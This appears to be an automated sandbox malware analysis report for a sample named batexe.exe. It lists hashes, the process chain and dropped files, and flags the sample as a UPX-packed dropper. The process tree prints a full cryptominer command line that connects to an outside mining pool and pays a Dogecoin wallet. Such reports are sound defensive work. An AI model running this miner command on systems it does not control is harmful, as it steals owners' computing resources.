73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
291s
max time network
297s
platform
windows10-1703_x64
resource
win10-20231215-ja
resource tags

arch:x64arch:x86image:win10-20231215-jalocale:ja-jpos:windows10-1703-x64systemwindows
submitted
13/02/2024, 23:43

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Executes dropped EXE 2 IoCs

pid	Process
2376	b2e.exe
2924	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
2924	cpuminer-sse2.exe
2924	cpuminer-sse2.exe
2924	cpuminer-sse2.exe
2924	cpuminer-sse2.exe
2924	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/4756-4-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 4756 wrote to memory of 2376	4756	batexe.exe	74
PID 4756 wrote to memory of 2376	4756	batexe.exe	74
PID 4756 wrote to memory of 2376	4756	batexe.exe	74
PID 2376 wrote to memory of 2996	2376	b2e.exe	75
PID 2376 wrote to memory of 2996	2376	b2e.exe	75
PID 2376 wrote to memory of 2996	2376	b2e.exe	75
PID 2996 wrote to memory of 2924	2996	cmd.exe	78
PID 2996 wrote to memory of 2924	2996	cmd.exe	78

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:4756
- C:\Users\Admin\AppData\Local\Temp\A43F.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\A43F.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\A43F.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:2376
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\A72D.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2996
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:2924

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\A43F.tmp\b2e.exe

Filesize
14.4MB

MD5
e76b75650a915f81673e40740f4f7627

SHA1
ae5942541088f5890d2291aee879a6036ec18ceb

SHA256
079ddaab12fedaca776a024eb58bb5f2b9ee4895aeaf0da6f55408910e074ce5

SHA512
2499e01b3c7e59ae06767091167b0f74e366377bf9d11ed758687f9f757e61369ac9319c5c3a9971c1b5601e3b51e3c26a02a394aca06b7d853a832858a65cea

Download Submit
C:\Users\Admin\AppData\Local\Temp\A43F.tmp\b2e.exe

Filesize
15.9MB

MD5
b9eaa51354bce116d207ad5f5db17498

SHA1
ef6f66b5f991ecba2181bd295a8ede3e28e09b8e

SHA256
9da9c8d9e78f00397afc34f07443c183d729b62a44b36481c99deb92f08aa7d6

SHA512
6713537a862ce645d6055d54d7326e9a4997e710fe90e5917166ae51ef9963753486940eb48d646ec0750261900fa683de38aee3cf4584a78b18a81ed3578c2f

Download Submit
C:\Users\Admin\AppData\Local\Temp\A72D.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
2.3MB

MD5
4c04147c386ba8792ac6a03069572a8a

SHA1
dda67789fc1d0f2469ca95f01a5c81034853ca6a

SHA256
c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd

SHA512
a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
18.7MB

MD5
9fb6a8ed6af3116b925d0f490aa2f028

SHA1
b451864f1d6de3766c341a906e22835c79389a78

SHA256
b3f80ee464551d5ddad8a14c3c631b780e242777eb6b94c4fbe5a5ab804fd1b2

SHA512
44b03894162f6bf7c24b2b8fd57a497ef8922adf60915b5f93c620aa7c1479a947dabafe80c7f01b992680fabb2e564dc4b2e56c31730f40ba877f8a788301b1

Download Submit
C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
24.6MB

MD5
8d9e5d9fccde21f04ae3188c0a4c471e

SHA1
7698ada35022d5bb7da1ef7192b8fd3eb0bca0f9

SHA256
803a159a7d73570ed2a9a81130f6ed24afd5327e3f1ad3471c20f1ddd460b246

SHA512
2cae88a7fe38aeb45fe04a592b0141a342d92d22ba1310d5c2b5452674228810694d00b0bd9677c31e12fec5ae0d047e37b74bfa0bc8efcfbe8f368aeee6b6c6

Download Submit
memory/2376-5-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/2376-51-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/2924-43-0x000000006FC40000-0x00000000714F5000-memory.dmp

Filesize
24.7MB

Download
memory/2924-57-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2924-42-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/2924-38-0x0000000000870000-0x000000000092C000-memory.dmp

Filesize
752KB

Download
memory/2924-44-0x0000000000870000-0x000000000092C000-memory.dmp

Filesize
752KB

Download
memory/2924-45-0x00000000667F0000-0x0000000066888000-memory.dmp

Filesize
608KB

Download
memory/2924-46-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2924-102-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2924-52-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2924-41-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2924-62-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2924-67-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2924-72-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2924-77-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2924-82-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2924-87-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2924-92-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2924-97-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4756-4-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download